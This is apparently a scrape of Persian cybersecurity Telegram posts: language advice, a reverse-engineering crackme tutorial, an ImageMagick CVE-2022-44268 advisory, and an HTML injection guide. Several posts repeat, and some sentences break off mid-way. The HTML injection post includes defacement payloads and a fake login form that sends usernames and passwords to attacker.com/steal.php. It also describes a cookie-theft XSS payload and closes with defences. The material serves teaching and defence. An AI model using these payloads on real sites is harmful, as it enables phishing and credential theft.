عملکرد بالا: Rust سرعتی معادل ++C/C ارائه میدهد، بنابراین میتواند جایگزین مستقیمی برای این زبانها در توسعه سیستمعاملها، مرورگرهای وب، و ابزارهای امنیتی حساس به عملکرد باشد.
همزمانی امن (Safe Concurrency): مدل مالکیت (Ownership) در Rust، نوشتن کدهای چند نخی (Multi-threaded) را بدون خطر بروز Data Races بسیار سادهتر میکند.
پس چرا در لیست نیامده است؟
شیب یادگیری تند: Rust به دلیل مفاهیم جدیدی مانند Ownership و Borrow Checker ، زبانی دشوارتر برای یادگیری نسبت به پایتون است. مقاله احتمالاً روی زبانهایی با مانع ورود کمتر تمرکز کرده است.
اکوسیستم نوپا (در مقایسه با دیگران): اگرچه اکوسیستم Rust به سرعت در حال رشد است، اما هنوز تعداد ابزارهای امنیتی و کتابخانههای بالغ آن به اندازه پایتون یا ++C/C نیست.
تمرکز بر تحلیل کد موجود: بخش بزرگی از کار امنیت سایبری، تحلیل و بررسی کدهایی است که از قبل نوشته شدهاند. در حال حاضر، حجم کدهای نوشته شده با ++C/C و پایتون بسیار بیشتر از Rust است. بنابراین، برای تحلیل بدافزارها و سیستمهای قدیمی، همچنان به
زبان ++C/C نیاز دارید.
نتیجهگیری برای Rust: یادگیری Rust یک سرمایهگذاری استراتژیک برای آینده است. هرچند امروز برای تحلیل سیستمهای موجود به این زبان ++C/C نیاز دارید، اما برای ساختن ابزارها و سیستمهای امن نسل بعد، Rust بهترین انتخاب است. شرکتهای بزرگی مانند مایکروسافت، گوگل و آمازون در حال بازنویسی بخشهای مهمی از زیرساخت خود با Rust هستند.
نتیجهگیری: از کجا شروع کنیم؟
برای یک فرد تازهکار که میخواهد وارد دنیای امنیت سایبری شود ، پایتون بهترین نقطه شروع است. سادگی، کاربردهای گسترده و جامعه بزرگ آن، مسیر یادگیری را هموارتر میکند.
پس از تسلط بر پایتون، مسیر شما به حوزه علاقهتان بستگی دارد:
* علاقهمند به امنیت وب؟ به سراغ جاوا اسکریپت و SQL بروید.
* علاقهمند به مدیریت سیستم و خودکارسازی؟ Bash (برای لینوکس) و PowerShell (برای ویندوز) را یاد بگیرید.
* علاقهمند به تحلیل بدافزار و مهندسی معکوس؟ یادگیری ++C/C و Assembly برای شما ضروری خواهد بود.
دنیای امنیت سایبری پویا و در حال تغییر است. مهمترین مهارت، توانایی یادگیری مستمر و انطباق با فناوریها و تهدیدات جدید است. انتخاب زبان برنامهنویسی مناسب، اولین قدم محکم در این مسیر هیجانانگیز است.
@NullError_ir
عملکرد بالا: Rust سرعتی معادل ++C/C ارائه میدهد، بنابراین میتواند جایگزین مستقیمی برای این زبانها در توسعه سیستمعاملها، مرورگرهای وب، و ابزارهای امنیتی حساس به عملکرد باشد.
همزمانی امن (Safe Concurrency): مدل مالکیت (Ownership) در Rust، نوشتن کدهای چند نخی (Multi-threaded) را بدون خطر بروز Data Races بسیار سادهتر میکند.
پس چرا در لیست نیامده است؟
شیب یادگیری تند: Rust به دلیل مفاهیم جدیدی مانند Ownership و Borrow Checker ، زبانی دشوارتر برای یادگیری نسبت به پایتون است. مقاله احتمالاً روی زبانهایی با مانع ورود کمتر تمرکز کرده است.
اکوسیستم نوپا (در مقایسه با دیگران): اگرچه اکوسیستم Rust به سرعت در حال رشد است، اما هنوز تعداد ابزارهای امنیتی و کتابخانههای بالغ آن به اندازه پایتون یا ++C/C نیست.
تمرکز بر تحلیل کد موجود: بخش بزرگی از کار امنیت سایبری، تحلیل و بررسی کدهایی است که از قبل نوشته شدهاند. در حال حاضر، حجم کدهای نوشته شده با ++C/C و پایتون بسیار بیشتر از Rust است. بنابراین، برای تحلیل بدافزارها و سیستمهای قدیمی، همچنان به
زبان ++C/C نیاز دارید.
نتیجهگیری برای Rust: یادگیری Rust یک سرمایهگذاری استراتژیک برای آینده است. هرچند امروز برای تحلیل سیستمهای موجود به این زبان ++C/C نیاز دارید، اما برای ساختن ابزارها و سیستمهای امن نسل بعد، Rust بهترین انتخاب است. شرکتهای بزرگی مانند مایکروسافت، گوگل و آمازون در حال بازنویسی بخشهای مهمی از زیرساخت خود با Rust هستند.
نتیجهگیری: از کجا شروع کنیم؟
برای یک فرد تازهکار که میخواهد وارد دنیای امنیت سایبری شود ، پایتون بهترین نقطه شروع است. سادگی، کاربردهای گسترده و جامعه بزرگ آن، مسیر یادگیری را هموارتر میکند.
پس از تسلط بر پایتون، مسیر شما به حوزه علاقهتان بستگی دارد:
* علاقهمند به امنیت وب؟ به سراغ جاوا اسکریپت و SQL بروید.
* علاقهمند به مدیریت سیستم و خودکارسازی؟ Bash (برای لینوکس) و PowerShell (برای ویندوز) را یاد بگیرید.
* علاقهمند به تحلیل بدافزار و مهندسی معکوس؟ یادگیری ++C/C و Assembly برای شما ضروری خواهد بود.
دنیای امنیت سایبری پویا و در حال تغییر است. مهمترین مهارت، توانایی یادگیری مستمر و انطباق با فناوریها و تهدیدات جدید است. انتخاب زبان برنامهنویسی مناسب، اولین قدم محکم در این مسیر هیجانانگیز است.
@NullError_ir
تحلیل عمیق آسیبپذیری تصاحب حساب کاربری
(زیرو کلیک) با بهرهبرداری از Punycode
در دنیای امنیت سایبری، آسیبپذیریهای "بدون کلیک" به دلیل ماهیت پنهان و خطرناک خود، همواره از اهمیت ویژهای برخوردار بودهاند. این نوع حملات به مهاجم اجازه میدهند بدون نیاز به هرگونه تعامل از سوی قربانی، تنها با ارسال یک پیام یا دادهی خاص، کنترل سیستم یا حساب کاربری او را به دست بگیرند. به تازگی، یک محقق امنیتی از یک مکانیزم هوشمندانه و نگرانکننده برای تصاحب کامل حساب کاربری در پلتفرم Rocket.Chat پرده برداشت که بر پایهی یک استاندارد قدیمی اما کمتر شناختهشده به نام Punycode عمل میکند.
برای تشریح کامل و فنی این آسیبپذیری به دلیل طولانی بودن مطلب فایل pdf را مطالعه بفرمایید
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
چرا به مهندسی معکوس نیاز داریم؟
تصور کنید با یک فایل اجرایی مشکوک روبرو شدهاید. شما نمیدانید این فایل دقیقاً چه کاری انجام میدهد. آیا اطلاعات شما را سرقت میکند؟ آیا سیستم شما را به بخشی از یک باتنت تبدیل میکند؟ یا شاید یک باجافزار است که منتظر فرصتی برای رمزنگاری فایلهای شماست؟
تحلیل بدافزار از طریق مهندسی معکوس به ما اجازه میدهد تا به این سوالات پاسخ دهیم. با (Decompilation) و (Disassembly) کد، میتوانیم به منطق برنامه پی ببریم، الگوریتمهای آن را درک کنیم و به اهداف نهایی نویسنده آن پی ببریم.
ابزارهای ضروری برای تحلیلگر بدافزار
شما به یک جعبه ابزار مناسب نیاز دارید. این ابزارها به دو دسته اصلی تقسیم میشوند: (Static Analysis) و (Dynamic Analysis)
۱. ابزارهای تحلیل استاتیک
در این نوع تحلیل، ما برنامه را بدون اجرا کردن آن بررسی میکنیم. هدف، بررسی ساختار فایل، رشتههای متنی (Strings)، کتابخانههای استفاده شده (Libraries) و خودِ کدهای اسمبلی است.
۔ Disassemblers :
* ۔IDA Pro/IDA Free: استاندارد طلایی در دنیای مهندسی معکوس. این ابزار قدرتمند قابلیتهای بینظیری برای تحلیل برنامهها ارائه میدهد.
* ۔Ghidra: یک ابزار رایگان و متنباز که توسط NSA (آژانس امنیت ملی آمریکا) توسعه داده شده است. Ghidra یک رقیب جدی برای IDA Pro محسوب میشود و قابلیت Decompilation به زبان شبه C را نیز دارد.
* ۔Radare2/Cutter: یک فریمورک قدرتمند و خط-فرمانی (Command-line) برای مهندسی معکوس است که Cutter واسط گرافیکی آن محسوب میشود.
۔ File Format Analyzers :
* ۔PE-bear/PEStudio: برای تحلیل فایلهای اجرایی ویندوز (Portable Executable) فوقالعاده هستند. با این ابزارها میتوانید هدرها (Headers)، بخشها (Sections)، و توابع Import/Export شده را بررسی کنید.
۲. ابزارهای تحلیل داینامیک
در این روش، بدافزار را در یک محیط کنترلشده و ایزوله (Sandbox) اجرا میکنیم تا رفتار آن را مشاهده و تحلیل کنیم.
* ۔Debuggers: این ابزارها به شما اجازه میدهند تا برنامه را خط به خط اجرا کرده، وضعیت رجیسترها (Registers) و حافظه (Memory) را مشاهده و در نقاط مشخصی از اجرا، آن را متوقف کنید (Breakpoints).
* ۔x64dbg/x32dbg: دیباگرهای مدرن و قدرتمند برای ویندوز که به صورت گسترده توسط تحلیلگران استفاده میشوند.
* ۔WinDbg: دیباگر رسمی مایکروسافت که برای تحلیلهای سطح پایین (Low-level) و کرنل (Kernel) بسیار کارآمد است.
* ۔GDB (GNU Debugger): دیباگر استاندارد در سیستمعاملهای مبتنی بر لینوکس.
۔Monitoring Tools :
* ۔Procmon (Process Monitor): ابزاری از مجموعه Sysinternals که فعالیتهای فایل سیستم، رجیستری و فرآیندهای سیستم را در لحظه نمایش میدهد.
* ۔Wireshark: برای شنود و تحلیل ترافیک شبکه استفاده میشود. با این ابزار میتوانید بفهمید بدافزار با چه سرورهای فرماندهی و کنترلی (C2) ارتباط برقرار میکند.
آشنایی با زبان اسمبلی (Assembly) - زبان ماشین
برای درک عمیق مهندسی معکوس، آشنایی با زبان اسمبلی ضروری است. اسمبلی یک زبان برنامهنویسی سطح پایین است که ارتباط مستقیمی با معماری پردازنده (CPU) دارد. هر دستور در اسمبلی معادل یک دستورالعمل پایهای برای پردازنده است.
برخی از دستورات پایهای که باید بشناسید:
۔*
MOV : دادهها را بین رجیسترها و حافظه جابجا میکند.۔*
ADD / SUB : عملیات جمع و تفریق را انجام میدهند.۔*
JMP (Jump) : پرش به بخش دیگری از کد.۔*
CMP (Compare) : دو مقدار را مقایسه میکند و فلگهای پردازنده را بر اساس نتیجه تنظیم میکند.۔*
JE / JNE (Jump if Equal/Jump if Not Equal) : پرشهای شرطی که بر اساس نتیجه CMP عمل میکنند.۔*
CALL : یک تابع را فراخوانی میکند.۔*
RET (Return) : از یک تابع بازمیگردد.رجیسترهای اصلی در معماری x86 که باید با آنها آشنا باشید:
۔* General Purpose Registers :
۔*
EAX : معمولاً برای نگهداری مقدار بازگشتی از توابع استفاده میشود.۔*
EBX , ECX , EDX : برای مقاصد عمومی.۔*
ESP : اشارهگر پشته (Stack Pointer).۔*
EBP : اشارهگر پایه پشته (Base Pointer).۔*
ESI , EDI : برای عملیات روی رشتهها و دادهها.۔* Instruction Pointer:
۔*
EIP : به آدرس دستور بعدی که باید اجرا شود، اشاره میکند.یک سناریوی عملی: تحلیل یک بدافزار ساده
فرض کنید یک فایل
crackme.exe داریم که میخواهیم آن را تحلیل کنیم. هدف ما پیدا کردن "رمز عبور" صحیح برای اجرای موفقیتآمیز آن است.👇Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
مرحله ۱: تحلیل استاتیک اولیه
1. بررسی رشتهها (Strings): ابتدا فایل را با ابزاری مانند
2. تحلیل با PE-bear: فایل را در
مرحله ۲: تحلیل با Ghidra یا IDA
فایل را در یکی از ابزارهای تحلیلی مانند Ghidra یا IDA باز میکنیم. پس از بارگذاری، به دنبال تابع اصلی برنامه، یعنی
تحلیل کد:
1. دریافت ورودی: برنامه ابتدا با فراخوانی تابع `GetDlgItemTextA`، متنی را که کاربر وارد کرده است، دریافت و در یک فضای مشخص از حافظه (بافر) ذخیره میکند.
2. آمادهسازی برای مقایسه: سپس آدرس بافر ورودی کاربر و آدرس رشتهی
3. مقایسه: تابع
4. تصمیمگیری:
* اگر دو رشته یکسان باشند،
* اگر رشتهها متفاوت باشند،
با تحلیل این قطعه کد، متوجه میشویم که برنامه ورودی کاربر را به صورت مستقیم با رشته
مرحله ۳: تحلیل دینامیک با x64dbg
اگر تحلیل استاتیک کافی نبود، به سراغ دیباگر میرویم.
1. برنامه را در
2. روی تابع
3. برنامه را اجرا کرده و یک رمز عبور تصادفی وارد میکنیم.
4. اجرای برنامه در
این روش به ما اجازه میدهد تا به صورت زنده مقادیر را در حافظه مشاهده کنیم و منطق برنامه را حتی اگر مبهمسازی (Obfuscation) شده باشد، درک کنیم.
1. بررسی رشتهها (Strings): ابتدا فایل را با ابزاری مانند
strings یا در یک ویرایشگر هگز (Hex Editor) باز میکنیم. گاهی اوقات اطلاعات جالبی مانند پیامهای خطا، آدرسهای URL یا حتی خودِ رمز عبور به صورت متنی در فایل وجود دارد. در این مثال، ممکن است رشتههایی مانند "Enter password:" یا "Wrong password!" را پیدا کنیم.2. تحلیل با PE-bear: فایل را در
PE-bear باز میکنیم. به بخش Imports نگاه میکنیم. اگر توابعی مانند MessageBox ، GetDlgItemText یا strcmp (برای مقایسه رشتهها) را ببینیم، میتوانیم حدس بزنیم که برنامه یک رمز عبور را از کاربر دریافت کرده و آن را با یک مقدار صحیح مقایسه میکند.مرحله ۲: تحلیل با Ghidra یا IDA
فایل را در یکی از ابزارهای تحلیلی مانند Ghidra یا IDA باز میکنیم. پس از بارگذاری، به دنبال تابع اصلی برنامه، یعنی
main یا WinMain (برای برنامههای ویندوزی با رابط گرافیکی) میگردیم. با دنبال کردن جریان اجرای برنامه و فراخوانی توابع، به بخشی از کد میرسیم که منطق بررسی رمز عبور در آن قرار دارد. این بخش، پس از کامپایل شدن، احتمالاً کدی شبیه به این خواهد بود:; ... سایر دستورات برنامه ...
; ابتدا فضایی (بافر) برای نگهداری ورودی کاربر آماده میشود
; فرض میکنیم آدرس این بافر در رجیستر EAX قرار گرفته است
LEA eax, [بافر_ورودی]
; آمادهسازی آرگومانها برای فراخوانی تابع دریافت متن از کادر ورودی
PUSH 256 ; آرگومان سوم: حداکثر تعداد کاراکتر برای دریافت
PUSH eax ; آرگومان دوم: آدرس بافری که ورودی در آن ذخیره شود
PUSH [ID_کادر_متن] ; آرگومان اول: شناسه کنترل ورودی متن
CALL GetDlgItemTextA ; دریافت متن ورودی از کاربر
; --- نقطه کلیدی تحلیل ---
; اکنون ورودی کاربر با رمز عبور صحیح مقایسه میشود
PUSH offset "CorrectPassword" ; آرگومان دوم: آدرس رشتهی رمز عبور صحیح
LEA eax, [بافر_ورودی] ; آدرس بافر ورودی کاربر را دوباره در EAX قرار میدهیم
PUSH eax ; آرگومان اول: آدرس رشتهی وارد شده توسط کاربر
CALL strcmp ; فراخوانی تابع مقایسه دو رشته (string compare)
; بررسی نتیجهی بازگشتی از تابع strcmp
ADD esp, 8 ; پاکسازی پشته از آرگومانهایی که ارسال کردیم
TEST eax, eax ; اگر رشتهها برابر باشند، eax صفر خواهد بود
JNZ wrong_password_label ; اگر برابر نباشند (eax غیر صفر است)، به برچسب رمز غلط پرش کن
; ... کد مربوط به نمایش پیام موفقیت آمیز بودن عملیات ...
JMP continue_execution
wrong_password_label:
; ... کد مربوط به نمایش پیام خطا ...
continue_execution:
; ... ادامه اجرای برنامه ...
تحلیل کد:
1. دریافت ورودی: برنامه ابتدا با فراخوانی تابع `GetDlgItemTextA`، متنی را که کاربر وارد کرده است، دریافت و در یک فضای مشخص از حافظه (بافر) ذخیره میکند.
2. آمادهسازی برای مقایسه: سپس آدرس بافر ورودی کاربر و آدرس رشتهی
"CorrectPassword" (که در بخش دیتای برنامه ذخیره شده) را به عنوان آرگومان روی پشته (stack) قرار میدهد.3. مقایسه: تابع
strcmp فراخوانی میشود. این تابع دو رشته را کاراکتر به کاراکتر مقایسه میکند.4. تصمیمگیری:
* اگر دو رشته یکسان باشند،
strcmp مقدار صفر را در رجیستر EAX برمیگرداند. دستور TEST eax, eax این صفر بودن را بررسی میکند.* اگر رشتهها متفاوت باشند،
strcmp مقداری غیر صفر برمیگرداند. در این حالت، دستور JNZ (Jump if Not Zero) باعث میشود اجرای برنامه به بخش wrong_password_label پرش کند که مربوط به نمایش پیام خطاست.با تحلیل این قطعه کد، متوجه میشویم که برنامه ورودی کاربر را به صورت مستقیم با رشته
"CorrectPassword" مقایسه میکند. بنابراین، ما رمز عبور را پیدا کردهایم\! ✅مرحله ۳: تحلیل دینامیک با x64dbg
اگر تحلیل استاتیک کافی نبود، به سراغ دیباگر میرویم.
1. برنامه را در
x64dbg باز میکنیم.2. روی تابع
strcmp یک Breakpoint قرار میدهیم.3. برنامه را اجرا کرده و یک رمز عبور تصادفی وارد میکنیم.
4. اجرای برنامه در
Breakpoint ما متوقف میشود. در این لحظه، میتوانیم به (Stack) نگاه کنیم. دو مقداری که قرار است با هم مقایسه شوند (ورودی ما و رمز عبور صحیح) را به وضوح خواهیم دید.این روش به ما اجازه میدهد تا به صورت زنده مقادیر را در حافظه مشاهده کنیم و منطق برنامه را حتی اگر مبهمسازی (Obfuscation) شده باشد، درک کنیم.
Mr. SAM
مرحله ۱: تحلیل استاتیک اولیه 1. بررسی رشتهها (Strings): ابتدا فایل را با ابزاری مانند strings یا در یک ویرایشگر هگز (Hex Editor) باز میکنیم. گاهی اوقات اطلاعات جالبی مانند پیامهای خطا، آدرسهای URL یا حتی خودِ رمز عبور به صورت متنی در فایل وجود دارد.…
تکنیکهای مبهمسازی (Obfuscation) و راههای مقابله
نویسندگان بدافزار برای سختتر کردن کار تحلیلگران، از تکنیکهای مختلفی استفاده میکنند:
۔* Packing: بدافزار اصلی فشرده یا رمزنگاری شده و توسط یک کد کوچک (Stub) در زمان اجرا بازگشایی (Unpack) میشود. برای مقابله با این تکنیک، باید
۔* Anti-Debugging: بدافزار تلاش میکند تا تشخیص دهد که آیا در حال اجرا تحت یک دیباگر است یا خیر. در این صورت، ممکن است رفتار خود را تغییر داده یا به کلی از اجرا خارج شود. تکنیکهایی مانند بررسی فلگهای خاص یا استفاده از توابع API مانند
۔* Anti-VM: بدافزار تلاش میکند تا بفهمد آیا در یک ماشین مجازی (Virtual Machine) اجرا میشود یا خیر. برای این کار، ممکن است درایورها، فایلها یا کلیدهای رجیستری خاصی را که مربوط به نرمافزارهای مجازیسازی (مانند VMware یا VirtualBox) هستند، بررسی کند.
مقابله با این تکنیکها نیازمند دانش عمیقتر و استفاده از پلاگینها و اسکریپتهای خاص در ابزارهای تحلیلی است.
نتیجهگیری و مسیر یادگیری
مهندسی معکوس یک مهارت پیچیده اما بسیار جذاب و پرقدرت است. این راهنما تنها نقطه شروعی برای ورود به این دنیای شگفتانگیز بود. برای پیشرفت در این حوزه:
1. مبانی را عمیق یاد بگیرید: درک عمیق از معماری کامپیوتر، سیستمعاملها و زبان اسمبلی ضروری است.
2. ابزارها را بشناسید: با ابزارهای مختلف کار کنید و نقاط قوت و ضعف هرکدام را بیاموزید.
3. تمرین، تمرین و باز هم تمرین: از چالشهای CrackMe و نمونه بدافزارهای موجود در پلتفرمهایی مانند
4. کامیونیتی را دنبال کنید: وبلاگها، کنفرانسها (مانند REcon) و مقالات محققان امنیتی را دنبال کنید تا از جدیدترین تکنیکها مطلع شوید.
موفق باشید
@NullError_ir
نویسندگان بدافزار برای سختتر کردن کار تحلیلگران، از تکنیکهای مختلفی استفاده میکنند:
۔* Packing: بدافزار اصلی فشرده یا رمزنگاری شده و توسط یک کد کوچک (Stub) در زمان اجرا بازگشایی (Unpack) میشود. برای مقابله با این تکنیک، باید
Original Entry Point (OEP) را پیدا کرده و حافظه فرآیند را پس از بازگشایی دامپ (Dump) کنیم.۔* Anti-Debugging: بدافزار تلاش میکند تا تشخیص دهد که آیا در حال اجرا تحت یک دیباگر است یا خیر. در این صورت، ممکن است رفتار خود را تغییر داده یا به کلی از اجرا خارج شود. تکنیکهایی مانند بررسی فلگهای خاص یا استفاده از توابع API مانند
IsDebuggerPresent برای این کار استفاده میشوند.۔* Anti-VM: بدافزار تلاش میکند تا بفهمد آیا در یک ماشین مجازی (Virtual Machine) اجرا میشود یا خیر. برای این کار، ممکن است درایورها، فایلها یا کلیدهای رجیستری خاصی را که مربوط به نرمافزارهای مجازیسازی (مانند VMware یا VirtualBox) هستند، بررسی کند.
مقابله با این تکنیکها نیازمند دانش عمیقتر و استفاده از پلاگینها و اسکریپتهای خاص در ابزارهای تحلیلی است.
نتیجهگیری و مسیر یادگیری
مهندسی معکوس یک مهارت پیچیده اما بسیار جذاب و پرقدرت است. این راهنما تنها نقطه شروعی برای ورود به این دنیای شگفتانگیز بود. برای پیشرفت در این حوزه:
1. مبانی را عمیق یاد بگیرید: درک عمیق از معماری کامپیوتر، سیستمعاملها و زبان اسمبلی ضروری است.
2. ابزارها را بشناسید: با ابزارهای مختلف کار کنید و نقاط قوت و ضعف هرکدام را بیاموزید.
3. تمرین، تمرین و باز هم تمرین: از چالشهای CrackMe و نمونه بدافزارهای موجود در پلتفرمهایی مانند
MalwareBazaar برای تمرین استفاده کنید.4. کامیونیتی را دنبال کنید: وبلاگها، کنفرانسها (مانند REcon) و مقالات محققان امنیتی را دنبال کنید تا از جدیدترین تکنیکها مطلع شوید.
موفق باشید
@NullError_ir
#✅ ImageMagick
بهروزرسانی فوری در ابزار چند پلتفرمی ImageMagick
یک آسیبپذیری بسیار خطرناک از نوع (RCE) با شناسه CVE-2022-44268 در ImageMagick کشف شده.
آسیبپذیری به مهاجم اجازه میدهد که با استفاده از یک فایل تصویری PNG دستکاریشده، محتوای فایلهای دلخواه روی سرور را بخواند و آن را به بیرون نشت دهد.
سناریوی حمله به این صورت عمل میکند:
مهاجم یک فایل PNG مخرب ایجاد میکند.
در داخل متادیتای این فایل، مسیری به یک فایل حساس روی سرور (مثلاً /etc/passwd) جاسازی میشود.
قربانی (مثلاً یک وبسایت که از ImageMagick برای آپلود و پردازش تصویر پروفایل کاربران استفاده میکند) این فایل را بارگذاری و پردازش میکند.
کتابخانه ImageMagick هنگام پردازش، فایل مشخصشده در متادیتا را میخواند و محتوای آن را به عنوان بخشی از خروجی تصویر فشردهشده جدید قرار میدهد.
مهاجم با تحلیل تصویر خروجی، میتواند به محتوای فایل حساس دسترسی پیدا کند.
این آسیبپذیری به خودی خود یک RCE مستقیم نیست، اما میتواند با ضعفهای امنیتی دیگر ترکیب شده و منجر به اجرای کد از راه دور و کنترل کامل سیستم شود.
@NullError_ir
بهروزرسانی فوری در ابزار چند پلتفرمی ImageMagick
یک آسیبپذیری بسیار خطرناک از نوع (RCE) با شناسه CVE-2022-44268 در ImageMagick کشف شده.
آسیبپذیری به مهاجم اجازه میدهد که با استفاده از یک فایل تصویری PNG دستکاریشده، محتوای فایلهای دلخواه روی سرور را بخواند و آن را به بیرون نشت دهد.
سناریوی حمله به این صورت عمل میکند:
مهاجم یک فایل PNG مخرب ایجاد میکند.
در داخل متادیتای این فایل، مسیری به یک فایل حساس روی سرور (مثلاً /etc/passwd) جاسازی میشود.
قربانی (مثلاً یک وبسایت که از ImageMagick برای آپلود و پردازش تصویر پروفایل کاربران استفاده میکند) این فایل را بارگذاری و پردازش میکند.
کتابخانه ImageMagick هنگام پردازش، فایل مشخصشده در متادیتا را میخواند و محتوای آن را به عنوان بخشی از خروجی تصویر فشردهشده جدید قرار میدهد.
مهاجم با تحلیل تصویر خروجی، میتواند به محتوای فایل حساس دسترسی پیدا کند.
این آسیبپذیری به خودی خود یک RCE مستقیم نیست، اما میتواند با ضعفهای امنیتی دیگر ترکیب شده و منجر به اجرای کد از راه دور و کنترل کامل سیستم شود.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
چگونه وبسایتها را فقط با HTML Injection هک کنیم
در این تحلیل، به بررسی مفاهیم، ارائهی Payload های متنوعتر و تشریح سناریوهای حمله و روشهای مقابله میپردازیم تا مطلبی جامع و تخصصی برای شما فراهم شود.
مقدمه: HTML Injection چیست و چرا اهمیت دارد؟
آسیبپذیری HTML Injection زمانی رخ میدهد که یک اپلیکیشن وب، ورودی کاربر را بدون اعتبارسنجی (Validation) یا پاکسازی (Sanitization) مناسب، مستقیماً در پاسخ HTML خود درج میکند. این ضعف به مهاجم اجازه میدهد تا کدهای HTML (و در موارد پیشرفتهتر JavaScript) دلخواه خود را به صفحه وب تزریق کرده و محتوای نمایش داده شده به کاربران دیگر را دستکاری کند.
برخلاف تصور اولیه، این آسیبپذیری صرفاً یک "مشکل ظاهری" نیست و میتواند به حملات جدیتری مانند Phishing ، Defacement ، Session Hijacking (در صورت ترکیب با XSS) و سرقت اطلاعات حساس منجر شود. در واقع، HTML Injection اغلب به عنوان پله اول برای اجرای حملات پیچیدهتر Cross-Site Scripting (XSS) در نظر گرفته میشود.
شناسایی آسیبپذیری HTML Injection
فرآیند کشف این آسیبپذیری معمولاً شامل شناسایی نقاط ورود داده (Input Vectors) در یک وبسایت است. این نقاط میتوانند هر جایی باشند که کاربر قادر به ارسال داده است، از جمله:
فیلدهای جستجو
فرمهای تماس و ارسال نظر
پارامترهای URL
فیلدهای پروفایل کاربری
تست اولیه:
سادهترین راه برای تست، تزریق یک تگ HTML ساده و بررسی رندر شدن آن در خروجی صفحه است. Payload های ابتدایی میتوانند شامل موارد زیر باشند:
<h1>TEST</h1> :برای بررسی اینکه آیا تگ هدر با موفقیت رندر میشود.
<b>TEST</b> یا <i>TEST</i> : برای تست تگهای قالببندی متن.
<p style="color:red;">TEST</p> :برای بررسی تزریق استایلهای CSS.
اگر پس از ارسال این ورودیها، متن "TEST" به صورت بزرگ، برجسته، کج یا با رنگ قرمز در صفحه ظاهر شود، به این معنی است که اپلیکیشن در برابر HTML Injection آسیبپذیر است.
مثال عملی:
فرض کنید یک وبسایت دارای پارامتر
q در URL برای جستجو است:https://example.com/search?q=my-queryمهاجم میتواند URL را به شکل زیر دستکاری کند:
https://example.com/search?q=<h1>Vulnerability-Found</h1>اگر در صفحهی نتایج، عبارت "Vulnerability-Found" به عنوان یک تیتر
<h1> نمایش داده شود، آسیبپذیری تایید شده است.سناریوهای حمله: از Defacement تا Phishing
پس از تایید آسیبپذیری، مهاجم میتواند حملات مختلفی را طراحی و اجرا کند. در اینجا به بررسی چند سناریوی رایج با جزئیات بیشتر میپردازیم.
1۔ Defacement (تغییر چهره وبسایت)
سادهترین نوع حمله، تغییر موقت ظاهر وبسایت برای سایر بازدیدکنندگان است. این کار با تزریق تگهای HTML و استایلهای CSS انجام میشود.
* پیلودی برای نمایش یک پیام بزرگ:
<h1 style="font-size:100px; color:red; text-align:center;">Hacked by Attacker</h1>
* پیلودی برای نمایش یک تصویر:
<img src="https://attacker.com/hacked.jpg" alt="Hacked">
این Payload یک تصویر از منبعی خارجی را در صفحه آسیبپذیر بارگذاری میکند.
2۔ Phishing (سرقت اطلاعات کاربری)
این سناریو یکی از خطرناکترین کاربردهای HTML Injection است. مهاجم میتواند یک فرم لاگین جعلی ایجاد کرده و آن را در صفحه آسیبپذیر تزریق کند. کاربران بدون اینکه متوجه شوند، اطلاعات کاربری خود را در فرم مهاجم وارد میکنند.
پیلود فرم لاگین جعلی:
<h2>Please Login to Continue</h2>
<form action="http://attacker.com/steal.php" method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
در این Payload، یک فرم لاگین ساده ایجاد شده است. مهمترین بخش،
action="http://attacker.com/steal.php" است. این ویژگی مشخص میکند که اطلاعات وارد شده در فرم (نام کاربری و رمز عبور) پس از کلیک روی دکمه "Login"، به سرور مهاجم ارسال خواهد شد. فایل steal.php در سرور مهاجم، اسکریپتی است که اطلاعات دریافتی را ذخیره میکند.3. تزریق لینکها و دکمههای مخرب
مهاجم میتواند کاربران را به سمت وبسایتهای مخرب، دانلود بدافزار یا صفحات Phishing دیگر هدایت کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
پیلود دکمه دانلود جعلی:
این کد یک دکمهی ظاهراً معتبر با عنوان "Download Update" ایجاد میکند که در واقع کاربر را به سمت دانلود یک فایل اجرایی مخرب هدایت میکند.
ارتقاء HTML Injection به XSS (Cross-Site Scripting)
اگر مکانیزمهای امنیتی وبسایت ضعیف باشند، مهاجم میتواند از HTML Injection فراتر رفته و کدهای JavaScript را تزریق کند. این حمله به عنوان XSS شناخته میشود و به مراتب خطرناکتر است.
پیلود ساده XSS:
اگر پس از تزریق این کد، یک پنجره هشدار (alert) با متن 'XSS' در مرورگر ظاهر شود، وبسایت به Stored XSS یا Reflected XSS (بسته به نحوه ذخیره و بازتاب ورودی) آسیبپذیر است.
پیلود برای سرقت کوکی (Session Hijacking):
این پیلود (Session Cookies) کاربر فعلی را خوانده و آنها را به عنوان یک پارامتر در URL به سرور مهاجم ارسال میکند. مهاجم با در دست داشتن این کوکیها میتواند سشن کاربر را ربوده و بدون نیاز به نام کاربری و رمز عبور، وارد حساب کاربری او شود.
روشهای مقابله و پیشگیری
جلوگیری از حملات HTML Injection نیازمند یک رویکرد چندلایه در توسعه نرمافزار است.
1. اعتبارسنجی ورودی (Input Validation)
هرگز به ورودی کاربر اعتماد نکنید. باید تمام دادههای دریافتی از سمت کاربر بر اساس یک لیست سفید (Whitelist) از کاراکترها، الگوها و فرمتهای مجاز اعتبارسنجی شوند. برای مثال، اگر یک فیلد فقط باید شامل اعداد باشد، هر ورودی دیگری باید رد شود.
2. پاکسازی خروجی (Output Encoding/Sanitization)
این مهمترین و مؤثرترین روش دفاعی است. قبل از نمایش هرگونه دادهی ورودی از کاربر در خروجی HTML، کاراکترهای خاص HTML باید به معادلهای امن خود (HTML Entities) تبدیل شوند.
با این کار، مرورگر تگهای تزریق شده را به عنوان متن ساده تفسیر میکند و آنها را اجرا نخواهد کرد. اکثر فریمورکهای مدرن وب (مانند React, Angular, Django, Rails) به صورت پیشفرض این کار را انجام میدهند، اما همیشه باید از فعال بودن و پیکربندی صحیح آن اطمینان حاصل کرد.
3. استفاده از Content Security Policy (CSP)
۔CSP یک لایه امنیتی اضافی است که به مدیران وبسایت اجازه میدهد تا مشخص کنند مرورگر مجاز به بارگذاری منابع (مانند اسکریپتها، استایلها، تصاویر) از چه دامنههایی است. یک CSP قوی میتواند حتی در صورت موفقیتآمیز بودن تزریق، از اجرای اسکریپتهای مخرب یا بارگذاری منابع از سرورهای ناشناس جلوگیری کند.
